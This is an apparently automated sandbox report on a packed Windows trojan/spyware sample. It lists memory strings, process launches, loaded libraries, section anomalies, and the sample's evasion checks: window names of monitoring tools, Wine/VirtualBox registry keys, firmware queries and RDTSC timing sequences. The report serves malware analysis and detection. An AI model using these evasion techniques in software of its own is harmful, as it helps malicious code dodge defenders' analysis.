Source: file.exe, 00000000.00000003.2448714862.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447160624.0000000006441000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2453138292.00000000063DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446960034.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2452182071.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451018086.00000000063BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445374038.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2454877455.00000000064FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2456994837.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2459502742.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2454464760.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2458802936.00000000063F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2590231028.0000000006686000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446616499.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449797387.0000000006480000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444725200.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2454026025.00000000062BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446366447.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444809970.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449586638.0000000006396000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2443217425.00000000060B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2460024921.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448931722.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448119785.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449431521.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450887887.00000000062BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449183057.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448494466.00000000062BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449928212.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450046852.00000000063A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447527982.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444374504.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450159913.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447995320.0000000006390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450755317.00000000064A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2456229610.00000000062BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446733837.0000000006366000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450272857.00000000063B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2457831730.00000000063EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2455515876.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2456735623.00000000063ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2452058541.00000000063C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448609532.000000000639F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2459647147.0000000006403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2464800201.00000000017A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2290742342.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290506516.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2305446497.0000000005E3A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 31%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: oRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeU

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1704,i,9159070330741597358,3160430356254121710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1992,i,2836517617940349020,955072689301666391,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1704,i,9159070330741597358,3160430356254121710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1992,i,2836517617940349020,955072689301666391,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3160576 > 1048576

Source: file.exe

Static PE information: Raw size of mmdrtuof is bigger than: 0x100000 < 0x2ae000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W;mmdrtuof:EW;aunqqslr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;mmdrtuof:EW;aunqqslr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x30d907 should be: 0x30de6b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: mmdrtuof
Source: file.exe	Static PE information: section name: aunqqslr
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe

Static PE information: section name: entropy: 6.918951905498848

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBEAA second address: EFBECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F76C4CE142Ah 0x0000000a push edx 0x0000000b jbe 00007F76C4CE1426h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 popad 0x00000015 pushad 0x00000016 jo 00007F76C4CE142Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBECD second address: EFBEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F76C52A0362h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBEE9 second address: EFBEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFAE9B second address: EFAEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A0366h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB15C second address: EFB162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB568 second address: EFB596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0368h 0x00000007 jmp 00007F76C52A035Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB596 second address: EFB5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F76C4CE1426h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB6FF second address: EFB705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB705 second address: EFB709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB709 second address: EFB767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0367h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F76C52A0369h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F76C52A0364h 0x0000001d jl 00007F76C52A035Ch 0x00000023 jnl 00007F76C52A0356h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD135 second address: EFD15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F76C4CE142Dh 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 jnl 00007F76C4CE1426h 0x00000017 pop eax 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD28C second address: EFD296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F76C52A0356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD296 second address: EFD2D5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F76C4CE1426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f or dword ptr [ebp+122D2204h], ebx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D2939h], eax 0x0000001d jns 00007F76C4CE142Ch 0x00000023 push 985B285Bh 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F76C4CE142Eh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD2D5 second address: EFD2D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD2D9 second address: EFD2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
